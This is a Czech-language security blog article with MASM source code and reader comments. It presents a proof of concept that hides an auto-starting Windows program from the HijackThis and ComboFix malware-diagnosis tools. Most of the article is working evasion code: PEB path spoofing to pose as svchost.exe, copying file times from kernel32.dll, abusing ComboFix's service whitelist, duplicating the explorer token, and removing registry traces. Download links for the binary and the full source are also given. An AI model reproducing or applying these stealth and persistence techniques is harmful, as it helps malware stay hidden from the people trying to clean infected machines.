Sociálne siete

SecIT.sk na Facebooku SecIT.sk na Google+ SecIT.sk na Twitteri

Podporte nás


V prípade, že Vám obsah nášho portálu niekedy nejakým spôsobom pomohol, či bol pre Vás prínosom prosím podporte jeho chod ľubovoľnou čiastkou. Ďakujeme!

Prihlásenie

Štítky

Vyhľadávanie

You are here

Domov
Upozornenie: Obsah je licenčne chránený a bez písomných súhlasov autora článku a vlastníka webovej stránky nesmie byť v žiadnej forme ďalej kopírovaný a šírený v pôvodnom, či v akokoľvek upravenom stave.

Skrýváme se před HIjackthis a Combofix

ENGLISH VERSION

Konečně vyšel čas a s ním je tu i nový proof-of-concept, který jsem se rozhodl napsat po určitém výroku ohledně HijackThis a Combofix, který zněl nějak podobně: "co nevidí HJT, uvidí Combofix". Oba dva programy jsou relativně hojně využívané a jejich logy jsou směrodatné v detekci a léčení nákazy v systému na nemálo fórech týkajících se bezpečnosti.

UPOZORNĚNÍ: NÁSLEDUJÍCÍ DOKUMENT JE URČEN POUZE PRO STUDIJNÍ ÚČELY. ZA JAKÉKOLIV ZNEUŽITÍ TOHOTO DOKUMENTU A JEHO SOUČÁSTÍ, VČETNĚ ZDROJOVÝCH KÓDU NENESE AUTOR ŽÁDNOU ZODPOVĚDNOST. ČLÁNEK NESMÍ BÝT KOPÍROVÁN BEZ POVOLENÍ AUTORA.

WARNING: FOLLOWING DOCUMENT IS INTENDED FOR STUDY PURPOSES ONLY. AUTHOR HAS NO RESPONSIBILITY FOR ANY ABUSE OF THIS DOCUMENT OR ITS PARTS INCLUDING SOURCE CODE. IT IS NOT ALLOWED TO COPY THIS DOCUMENT WITHOUT AUTHORS PERSMISSION.

if you do not agree, please close your eyes and try to close your browser ;)

© Lodus 2008 pro secit.sk

V tomto článku popíši jak vytvořit program, který se bude spouštět po startu a bude běžet libovolně dlouho. Nebude vidět v Hijackthis jako proces, jako položka po spuštění, ačkoliv se bude jednat o normální exe soubor. Stejně tak nebude vidět v jediné sekci Combofixu (upozornění pro "stálé" uživatele Combofixu: sekcí snapshot se zde zabívat nebudu, ta je založena na předchozím scanu Combofixu). Celý tento proof of concept je založen pouze na chybách, resp. velmi naivních předpokladech užitých v těchto dvou aplikacích - nejedná se tedy o žádný rootkit, ať už ring3 nebo ring0 - těmi se budeme zabývat velice podrobně jindy. Testováno na Windows 2000, Windows XP 32 bit.

Exploitujeme HijackThis

Informační hodnota logu aplikace Hijackthis je založena na dvou sekcích. Výpis aktuálně běžících procesů a položek po spuštění + nějaké další informace. Prvním úkol tedy bude odstranit náš proces ze seznamu běžících procesů z logu a druhý úkol bude odstranit naši položku po spuštění.

Hijackthis - Proces

HJT hojně využívá standardních high level API pro práci s procesy, CreateToolhelp32Snapshot, Process32First a Process32Next. V seznamu procesů je zobrazena celá cesta spustitelného souboru, kterou si obstará voláním funkce z psapi.dll, konkrétně GetModuleFileNameExA. GetModuleFileNameEx funguje velice jednoduše, pomocí NtQueryInformationProcess zjistí, kde se nachazí PEB a z něj pak pomocí ReadProcessMemory prochází pole spojáků načtených modulů. Nutno připomenout, že struktura PEB je přepisovatelná a není problém cokoliv, včetně členů onoho spojáku s načtenými moduly, změnit, přepsat a přetvořit k obrazu svému.

PEB -> (ptr PEB +0x00c Ldr) PEB_LDR_DATA

PEB_LDR_DATA:
0 C: InLoadOrderModuleLis
14: InMemoryOrderModuleList
1 C: InInitializationOrderModuleList

Všechny tři seznamy, tedy InLoadOrder, InMemoryOrder, InInitializationOrder jsou struktury typu LIST_ENTRY, tzn. blink & flink na struktury LDR_DATA_TABLE_ENTRY. Tato struktura obsahuje členy, jako UNICODE_STRING FullDllName,UNICODE_STRING BaseDllName a PVOID DllBase. GetModuleFileNameEx prochází spojáky v InLoadOrder, takže stačí změnit záznam pouze tam. Jelikož je exe soubor načítán PE loaderem jako první, je ve spojáku InLoadOrder uveden vždy jako první.

;:: HIDE PROCESS :::::::::::::::::::::::::::::::::::::
assume fs: nothing
push fs: [30h]
pop edi ;edi = ptr to PEB

mov edi, dword ptr [edi+0Ch] ;ptr to LDR
mov edi, dword ptr [edi+0Ch] ;ptr to InLoadOrder
add edi, 24h ;ptr to UNICODE_STRING FullDllName
invoke ReDoPath, edi ;Rewrite & allocate new FullDllName

Funkce ReDoPath přepíše původní cestu a vytvoří cestu novou - v našem příkladě použijeme například cestu shodnout s programem svchost.exe. Výsledek je tedy takový, že GetModuleFileNameEx vrátí cestu k svchost.exe.

Hijackthis - Startup

Dalším úkolem je spouštění po startu a skrytí této činnosti před Hijackthis. Hijackthis hlídá snad všechny klíče a adresáře pro automatické spouštění, ale obsahuje pro nás velmi dobře využitelnou "chybičku". Výpis služeb je hnán přes filtr, který má za úkol vyfiltrovat služby Microsoftu a to velice nešťastným způsobem - pomocí funkce InStr a uvedeného výrobce souboru. V praxi to vypadá tak, že pokud je v uvedeném výrobci souboru obsažen řetězec "Microsoft" (tedy např. i "NotAMicrosoftCorp"), je splněna podmínka pro filtraci a služba nebude do logu vypsána. Tato část je snad nejjednodušší, stačí přidat adekvátní resource, nebo upravit informace v IDE.

Hijackthis - shrnutí

V této chvíli máme program, který se spouští po startu, v logu Hijackthis není vidět. Projevuje se jako další z svchostů, resp. jakéhokoliv jiného programu, který si vybereme (nutně to nemusí být ani platná cesta).

Exploitujeme ComboFix

Původně jsem chtěl použít k popisu mých pocítů z Combofixu i citoslovce, ale raději půjdeme hned k věci.

Combofix ohrožuje naši neviditelnost pomocí několika kontrol, nemůžeme si dovolit, aby o nás byla v logu jakákoliv zmíňka . První hrozbou je výpis souborů vytvořených za posledních x dní. Další hrozbou je výpis položek po spuštění, včetně výpisu všech služeb, na jejíž bázi náš program běží a konečně poslední hrozba - kontrola nově vytvořených služeb.

Combofix - výpis souborů

Jako snad vše v tomto dokumentu je i způsob obejití této kontroly triviální. Prostě a jednoduše si všechny časy (poslední úpravy, čas vytvoření, atd.) nakopírujeme z některého systémového soubor, např. kernel32.dll a tyto informace pak nastavit našemu souboru. Vše zvládneme pomocí API z kernel32.dll (CreateFile, GetFileTime a SetFileTime). Combofix netestuje logičnost TimeDateStamp v NT Headeru (jak by mohl mít soubor, který byl kompilován v roce 2008 nastavený datum posledních úprav na rok 2004?! :)), čímž nám ulehčuje práci asi o 12 řádků kódu.

Combofix - výpis služeb

Combofix, resp. část určená za výpis služeb tyto služby prohání přes svůj whitelist, který je založen pouze na jménech služeb. Whitelist, tedy seznam všech jmen služeb, které nebudou do logu vloženy jsou uloženy v nešifrovaném textovém souboru (žádné hashe, žádné katalogy, žádné digitální podpisy a nic, co by nás jakkoliv mohlo označit za podvodníky). Tento soubor si stačí vypůjčit a v našem kousku se pokoušet vytvářet novou službu tak dlouho, dokud nenarazíme na nějakou volnou. V přkladu jsem zvolil stálé jméno.

Combofix - výpis nových služeb

Bez dalšího studování Combofixu jsem se vrhl do psaní funkce na změnu času vytvoření klíče v registru. Po nezdaru jsem si všiml, že Windows po přidání nové služby po prvním restartu přidávají do klíče Services\enum\root\LEGACY_jméno_služby hodnotu se jménem "*NewlyCreated*" a tu Combofix kontroluje. Po startu naší apliakce je tedy nutno tuto hodnotu smazat. Tato hodnota je však v klíči, ke kterému nemá uživatel zapisovací práva, ale ty si přidělíme sami, takže žádný strach.

Shrnutí detekce

Pokud provedeme všechny zmíněné kroky, máme program, který se spouští po startu, v Hijackthis se projeví jen jako další z běžících svchostů a v Combofixu se neprojeví vůbec.

Proof Of Concept

Nyní si popíšeme chování tohoto kousku. Máme několik stavů, první stav je, kdy uživatel dostane do rukou náš soubor - ten je potřeba nainstalovat - tedy zavést službu, změnit datumy, atd. Další stav je, kdy je program spuštěn jako služba. Jako služba máme život trochu obtížnější, hlavně práci s okny, user interface, atp. Z tohoto a mnoha dalších důvodů jsem se rozhodl, že bude vhodné spustit sám sebe znovu s parametrem pod tokenem uživatele a službu ukončit. Třetí stav, kdy je program spuštěn s parametrem je stav konečný, nejedná se ani o instalaci ani o službu... Je čas se skrýt a zobrazit uživateli, že jsme stále zde.

# Zjistíme, kde se aktuálně nacházíme, pokud se nenacházíme v system32, jde o první spuštění, tedy o instalaci:

1) Instalace
- Nakopírujeme sami sebe do adresáře system32, nebo kamkoliv jinam
- Nastavíme si časy jako některý ze systémových souborů, např. kernel32.dll
- Vytvoříme službu pod jménem, které je obsažené ve whitelistu Combofixu a je volné
- Spustíme nový soubor s parametrem "go"
- Ukončíme instalátor

# Nejsme spuštěni s parametrem "go"?
2) Jsme služba
- Vyčkáme, než se spustí explorer.exe a naduplikjeme si jeho token
- Pod tokenem exploreru spustíme sami sebe s parametrem "go"
- Ukončíme službu

3) Jsme v konečném akčním stavu
- Smažeme hodnotu *NewlyCreated*
- Skryjeme se z PEB
- Ozveme se uživateli :)

Zdrojový kód

Instalace

;-- PATH CHECK -------------------------------------------
invoke GetSystemDirectory, addr dbPath, sizeof dbPath
invoke lstrcat, addr dbPath, addr szMY_NAME

invoke GetModuleFileName, 0, addr dbBuffer, sizeof dbBuffer
invoke lstrcmp, addr dbPath, addr dbBuffer
.IF EAX
invoke CopyFile, addr dbBuffer, addr dbPath, 0
.IF EAX
; 1. copy file

; 2. modify file times
invoke GetModuleHandle, addr szKernel
lea ecx, dbBuffer

invoke GetModuleFileName, eax, ecx, sizeof dbBuffer
invoke CreateFile, addr dbBuffer,GENERIC_READ,FILE_SHARE_READ, \
0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, 0
.IF EAX != -1
mov esi, EAX
invoke GetFileTime, esi, addr tCT, addr tLAT, addr tLWT
Invoke CloseHandle, esi

;- set creation date, ... -
invoke CreateFile, addr dbPath,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ,\
0, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, 0
.IF EAX != -1
mov esi, EAX
invoke SetFileTime, esi, addr tCT, addr tLAT, addr tLWT
Invoke CloseHandle, esi
.ENDIF
.ENDIF

; 3. create service
Invoke OpenSCManager, 0, 0, SC_MANAGER_ALL_ACCESS
.IF EAX
mov esi, EAX
invoke CreateService, esi, addr szSVC_NAME, addr szSVC_NAME, SERVICE_ALL_ACCESS,\
SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS, \
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE,addr dbPath, \
0, 0, 0, 0, 0
.IF EAX
Invoke CloseServiceHandle, EAX
.ELSE
Invoke GetLastError
.IF EAX == ERROR_SERVICE_EXISTS
invoke MessageBox, 0, addr szSVC_ERROR, addr szCAPTION, MB_ICONERROR
invoke GetModuleFileName, 0, addr dbBuffer, sizeof dbBuffer
invoke DeleteFile, addr dbBuffer
Invoke ExitProcess, 0
.ENDIF
.ENDIF
Invoke CloseServiceHandle, esi
.ENDIF

; 4. run new file
invoke lstrcat, addr dbPath, addr szGO
invoke CreateProcess, 0, addr dbPath, 0, 0, 0, 0, 0, 0, addr tSI, addr tPI
Invoke CloseHandle, tPI.hProcess
Invoke ExitProcess, 1
.ENDIF
.ENDIF

Služba / akce?

;-- TO BE A SERVICE OR NOT TO BE A SERVICE... -------------
Invoke GetCommandLine
mov esi, EAX
Invoke lstrlen, esi
Add esi, EAX
.IF word ptr[esi-2] != "og"
lea esi, tSTE
assume esi: ptr SERVICE_TABLE_ENTRY
invoke RtlZeroMemory, esi, sizeof SERVICE_TABLE_ENTRY * 2
mov [esi].lpServiceName, offset szSVC_NAME
mov [esi].lpServiceProc, offset ServiceMain
Invoke StartServiceCtrlDispatcher, esi
assume esi: nothing
Invoke ExitProcess, 0
.ENDIF

Jsme služba

ServiceMain proc uses esi edi argA:DWORD, argB:DWORD
local hProc: HANDLE
local hToken: HANDLE
local hDupToken: HANDLE

;-- SERVICE STUFF ----------------------------------------
invoke RegisterServiceCtrlHandler, addr szSVC_NAME, offset ControlHandler
mov hStatus, EAX

lea esi, tServiceStatus
assume esi: ptr SERVICE_STATUS
invoke RtlZeroMemory, esi, sizeof tServiceStatus
mov [esi].dwServiceType, SERVICE_WIN32_OWN_PROCESS Or SERVICE_INTERACTIVE_PROCESS
mov [esi].dwControlsAccepted, SERVICE_ACCEPT_STOP Or SERVICE_ACCEPT_SHUTDOWN
mov [esi].dwCurrentState, SERVICE_START_PENDING
Invoke SetServiceStatus, hStatus, esi

mov [esi].dwCurrentState, SERVICE_RUNNING
Invoke SetServiceStatus, hStatus, esi
assume esi: nothing

;-- RELOAD US TO NORMAL PROC. & STOP --------------------
Invoke VirtualAlloc, 0, C_PROCBUFFERLEN, MEM_COMMIT, PAGE_READWRITE
.IF EAX
mov edi, EAX
@@: invoke NtQuerySystemInformation, 5, edi, C_PROCBUFFERLEN, 0
.IF !EAX
mov esi, edi
.REPEAT
add esi, dword ptr[esi]
invoke lstrcmpW, dword ptr[esi+60], addr suExplorer
.IF !EAX
mov eax, dword ptr[esi+68]
Invoke OpenProcess, PROCESS_QUERY_INFORMATION, 0, EAX
.IF EAX
mov hProc, EAX
invoke OpenProcessToken, hProc, TOKEN_ALL_ACCESS, addr hToken
.IF EAX
invoke DuplicateTokenEx, hToken, MAXIMUM_ALLOWED, \
0, 2, \
TokenPrimary, \
addr hDupToken

invoke GetModuleFileName, 0, addr dbBuffer, sizeof dbBuffer
invoke lstrcat, addr dbBuffer, addr szGO
invoke RtlZeroMemory, addr tSI, sizeof STARTUPINFO
invoke CreateProcessAsUser, hDupToken, 0, addr dbBuffer, \
0, 0, 0, 0, 0, 0,\
addr tSI, addr tPI

Invoke CloseHandle, hDupToken
.ENDIF
Invoke CloseHandle, hProc
.ENDIF
Invoke CloseHandle, tPI.hProcess
jmp sm_ok
.ENDIF
.UNTIL (dword ptr[esi] == 0)
.ENDIF
Invoke Sleep, 32
jmp @b
sm_ok:
Invoke VirtualFree, edi, C_PROCBUFFERLEN, MEM_DECOMMIT
Invoke VirtualFree, edi, 0, MEM_RELEASE
.ENDIF

mov tServiceStatus.dwCurrentState, SERVICE_STOP_PENDING
invoke SetServiceStatus, hStatus, addr tServiceStatus
mov tServiceStatus.dwCurrentState, SERVICE_STOPPED
invoke SetServiceStatus, hStatus, addr tServiceStatus
Ret
ServiceMain EndP

Nejsme služba - schovat!

;-- NOT A SERVICE =)) LETS HIDE! --------------------------
invoke SetNamedSecurityInfo, addr szSVC_CFX, 4, DACL_SECURITY_INFORMATION, 0, 0, 0, 0
.IF !EAX
lea esi, szSVC_CFX
Add esi, 8

invoke RegOpenKey, HKEY_LOCAL_MACHINE, esi, addr hKey
.IF !EAX
invoke RegDeleteValue, hKey, addr szVAL_NAME
Invoke RegCloseKey, hKey
.ENDIF
.ENDIF

;:: INIT :::::::::::::::::::::::::::::::::::::
lea edi, dbBuffer
invoke GetSystemDirectory, edi, sizeof dbBuffer
invoke lstrcat, edi, addr szNEW_NAME
Invoke lstrlen, edi

mov sNEW_NAMEA.dwLength, ax
mov sNEW_NAMEA.dwMaxLength, ax
mov sNEW_NAMEA.lpBuffer, edi

push 1
push offset sNEW_NAMEA
push offset sNEW_NAMEW
Call RtlAnsiStringToUnicodeString

;:: HIDE PROCESS :::::::::::::::::::::::::::::::::::::
assume fs: nothing
push fs: [30h]
pop edi ;edi = ptr to PEB

mov edi, dword ptr [edi+0Ch] ;ptr to LDR
mov edi, dword ptr [edi+0Ch] ;ptr to InLoadOrder
add edi, 24h ;ptr to UNICODE_STRING FullDllName
invoke ReDoPath, edi ;Rewrite & allocate new FullDllName

invoke MessageBox, 0, addr szRUNNING, addr szCAPTION,MB_ICONQUESTION or MB_SERVICE_NOTIFICATION
Invoke ExitProcess, Null

Download

Binárka k otestování:
download.lodusweb.net/poc/hjtcfx_poc_1_1.zip

Kompletní zdrojový kód v MASMu je stažitelný zde:
http://download.lodusweb.net/poc/hjtcfx_poc_src_1_1.zip

Komentáre

napada ma ze hijackthis moze mat tie obmedzenia pre zachovanie spatnej kompatibility s w9x

Pokud myslíte omezení na funkci GetModuleFileNameEx, tak to možné je. Ale - není vůbec žádný problém (ještě k tomu ve VB) napsat handler, který bude kompatibilitu jediné, či více funkcí řešit. Podle mě se jedná spíše o lenost / nevědomost.

Funkce GetModuleFileNameEx je součástí knihovny PSAPI.DLL, která není součástí Win9x. Ve Win9x se k zjišťování těchto věcí používá CreateToolHelp32Snapshot /Process32First / Process32Next, ve Win NT/2k/XP/Vista GetModuleFileHandleEx, ačkoliv od WinXP výše lze použít i ToolHelp. Nejsem si jistý, jestli na Win9x existuje vůbec struktura PEB

... ještě k tomu :)))

No moj w98 psapi.dll v \win\system\ taktiez nema, ale napr. taky program procdump ju ma a pod w98 ju vyzaduje vo svojom adresari. Ked pozeram version_info v resources, tak dll co pouziva je z r.1995 verzia OS 4.0 (asi win nt 4). Takze ked sa ozaj chce potrebne api funkcie sa najdu.

Takže na W9x PEB je, ale to nic moc nemění na tom, že HJT by musel obsahovat psapi.dll ve své instalaci. Takže se zřejmě nepočítá s jeho použitím na 9x. A tak jako tak to nemění nic na tom, že tam mohl napsat handler / wrapper. --- edit: není, nechal jsem se zlákat :), ProcDump tam má classu, hned na začátku si zjistí verzi systému a pak podle ní použije buď psapi.dll, nebo funkce z kernel32 (004078FC, 00407880 ve verzi 1.6.2.0). Takže pokud HJT nemá psapi nijak ošetřenou, na 9x nepůjde spustit.

To, že ji procdump vyžaduje nutně neznamená, že ji používá. Záleží na tom, jak ji k sobě jeho EXE linkuje. Pokud staticky, tak ji bude vyžadovat, ač z ní nepoužije jedinou funkce, pokud dynamicky, tak je to jiná.

Zdravim Nevim jestli je to v clanku napsano, lze skryt neco pred process explorerem od sysinternals podobne jako pred hjk a combofixem,

Zdravím! Ano, s Process Explorer je to velice podobné, ale ten není předmětem tohoto článku z toho důvodu, že není primárně určen na boj s viry :) Zkuste http://lodusweb.net/download/prochid_lodus_1_2.zip

Podporte nás


Páčil sa Vám tento článok? Ak áno, prosím podporte nás ľubovoľnou čiastkou. Ďakujeme!


ITC manažer Security-portal.cz Spamy.cz PHP Fushion Soom.cz
Hoax.cz Antivirove centrum Crypto-world.info SPYEMERGENCY.com